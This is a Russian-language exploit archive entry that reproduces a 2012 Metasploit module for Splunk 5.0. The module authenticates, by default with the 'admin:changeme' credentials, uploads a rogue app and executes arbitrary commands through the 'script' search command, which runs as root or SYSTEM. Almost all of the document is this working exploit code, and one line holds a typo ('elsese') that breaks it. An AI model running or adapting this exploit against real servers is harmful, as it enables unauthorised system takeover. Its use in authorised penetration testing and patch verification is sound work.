Splunk 5.0 Custom App Remote Code Execution PoC

Свойства

Дата публикации:
08.12.2012
Цель:
Splunk 5.0
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Splunk 5.0 Custom App Remote Code Execution',
            'Description'    => %q{
                    This module exploits a feature of Splunk whereby a custom application can be
                uploaded through the web based interface. Through the 'script' search command a
                user can call commands defined in their custom application which includes arbitrary
                perl or python code. To abuse this behavior, a valid Splunk user with the admin
                role is required. By default, this module uses the credential of "admin:changeme",
                the default Administrator credential for Splunk. Note that the Splunk web interface
                runs as SYSTEM on Windows, or as root on Linux by default. This module has only
                been tested successfully against Splunk 5.0.
            },
            'Author'         =>
                [
                    "@marcwickenden", # discovery and metasploit module
                    "sinn3r", # metasploit module
                    "juan vazquez", # metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html'; ],
                    [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html'; ],
                    [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script'; ]
                ],
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true
                },
            'Targets'        =>
                [
                    [ 'Splunk 5.0.1 / Linux',
                        {
                            'Arch'     => ARCH_CMD,
                            'Platform' => [ 'linux', 'unix' ]
                        }
                    ],
                    [ 'Splunk 5.0.1 / Windows',
                        {
                            'Arch'     => ARCH_CMD,
                            'Platform' => 'win'
                        }
                    ]
                ],
            'DisclosureDate' => 'Sep 27 2012'))

        register_options(
            [
                Opt::RPORT(8000),
                OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
                OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
                OptPath.new('SPLUNK_APP_FILE',
                    [
                        true,
                        'The "rogue" Splunk application tgz',
                        File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
                    ])
            ], self.class)

        register_advanced_options(
            [
                OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
                OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
                OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
                OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
            ], self.class)
    end

    def exploit
        # process standard options
        @username = datastore['USERNAME']
        @password = datastore['PASSWORD']
        file_name = datastore['SPLUNK_APP_FILE']

        # process advanced options
        return_output = datastore['ReturnOutput']
        disable_upload = datastore['DisableUpload']
        @enable_overwrite = datastore['EnableOverwrite']
        command_output_delay = datastore['CommandOutputDelay']

        # set up some variables for later use
        @auth_cookies = ''
        @csrf_form_key = ''
        app_name = 'upload_app_exec'
        p = payload.encoded
        print_status("Using command: #{p}")
        cmd = Rex::Text.encode_base64(p)

        # log in to Splunk (if required)
        do_login

        # fetch the csrf token for use in the upload next
        do_get_csrf('/en-US/manager/launcher/apps/local')

        unless disable_upload
            # upload the arbitrary command execution Splunk app tgz
            do_upload_app(app_name, file_name)
        end

        # get the next csrf token from our new app
        do_get_csrf("/en-US/app/#{app_name}/flashtimeline")

        # call our command execution function with the Splunk 'script' command
        print_status("Invoking script command")
        res = send_request_cgi(
        {
            'uri'     => '/en-US/api/search/jobs',
            'method'  => 'POST',
            'cookie'  => @auth_cookies,
            'headers' =>
                {
                    'X-Requested-With' => 'XMLHttpRequest',
                    'X-Splunk-Form-Key' => @csrf_form_key
                },
            'vars_post' =>
                {
                    'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
                    'status_buckets' => "300",
                    'namespace' => "#{app_name}",
                    'ui_dispatch_app' => "#{app_name}",
                    'ui_dispatch_view' => "flashtimeline",
                    'auto_cancel' => "100",
                    'wait' => "0",
                    'required_field_list' => "*",
                    'adhoc_search_level' => "smart",
                    'earliest_time' => "0",
                    'latest_time' => "",
                    'timeFormat' => "%s.%Q"
                }
        })

        if return_output
            res.body.match(/data":\ "([0-9.]+)"/)
            job_id = $1

            # wait a short time to let the output be produced
            print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
            select(nil,nil,nil,command_output_delay)
            job_output = fetch_job_output(job_id)
            if job_output.body.match(/Waiting for data.../)
                print_status("No output returned in time")
            elsese
                output = ""
                job_output.body.each_line do |line|
                    # strip off the leading and trailing " added by Splunk
                    line.gsub!(/^"/,"")
                    line.gsub!(/"$/,"")
                    output << line
                end

                # return the output
                print_status("Command returned:")
                print_line output
            end
        else
            handler
        end
    end

    def check
        # all versions are actually "vulnerable" but check implemented for future proofing
        # and good practice
        res = send_request_cgi(
        {
            'uri'     => '/en-US/account/login',
            'method'  => 'GET'
        }, 25)

        if res and res.body =~ /Splunk Inc\. Splunk/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end

    def do_login
        print_status("Authenticating...")
        # this method borrowed with thanks from splunk_mappy_exec.rb
        res = send_request_cgi(
        {
            'uri'     => '/en-US/account/login',
            'method'  => 'GET'
        })

        cval = ''
        uid = ''
        session_id_port =
        session_id = ''
        if res and res.code == 200
            res.headers['Set-Cookie'].split(';').each {|c|
                c.split(',').each {|v|
                    if v.split('=')[0] =~ /cval/
                        cval = v.split('=')[1]
                    elsif v.split('=')[0] =~ /uid/
                        uid = v.split('=')[1]
                    elsif v.split('=')[0] =~ /session_id/
                        session_id_port = v.split('=')[0]
                        session_id = v.split('=')[1]
                    end
                }
            }
        else
            fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
        end

        res = send_request_cgi(
        {
            'uri'     => '/en-US/account/login',
            'method'  => 'POST',
            'cookie'  => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
            'vars_post' =>
                {
                    'cval' => cval,
                    'username' => @username,
                    'password' => @password
                }
        })

        if not res or res.code != 303
            fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
        else
            session_id_port = ''
            session_id = ''
            res.headers['Set-Cookie'].split(';').each {|c|
                c.split(',').each {|v|
                    if v.split('=')[0] =~ /session_id/
                        session_id_port = v.split('=')[0]
                        session_id = v.split('=')[1]
                    end
                }
            }
            @auth_cookies = "#{session_id_port}=#{session_id}"
        end
    end

    def do_upload_app(app_name, file_name)
        archive_file_name = ::File.basename(file_name)
        print_status("Uploading file #{archive_file_name}")
        file_data = ::File.open(file_name, "rb") { |f| f.read }

        boundary = '--------------' + rand_text_alphanumeric(6)

        data = "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
        data << "#{@csrf_form_key}"
        data << "\r\n--#{boundary}\r\n"

        if @enable_overwrite
            data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
            data << "1"
            data << "\r\n--#{boundary}\r\n"
        end

        data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
        data << "Content-Type: application/x-compressed\r\n\r\n"
        data << file_data
        data << "\r\n--#{boundary}--\r\n"

        res = send_request_cgi({
            'uri'     => '/en-US/manager/appinstall/_upload',
            'method'  => 'POST',
            'cookie'  => @auth_cookies,
            'ctype'   => "multipart/form-data; boundary=#{boundary}",
            'data'    => data
        }, 30)

        if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
            print_status("#{app_name} successfully uploaded")
        else
            fail_with(Exploit::Failure::Unknown, "Error uploading")
        end
    end

    def do_get_csrf(uri)
        print_status("Fetching csrf token from #{uri}")
        res = send_request_cgi(
        {
            'uri'    => uri,
            'method' => 'GET',
            'cookie' => @auth_cookies
        })
        res.body.match(/FORM_KEY":\ "(\d+)"/)
        @csrf_form_key = $1
        fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
    end

    def fetch_job_output(job_id)
        # fetch the output of our job id as csv for easy parsing
        print_status("Fetching job_output for id #{job_id}")
        res = send_request_raw(
        {
            'uri'    => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
            'method' => 'GET',
            'cookie' => @auth_cookies,
            'encode_param' => 'false'
        })
    end

end

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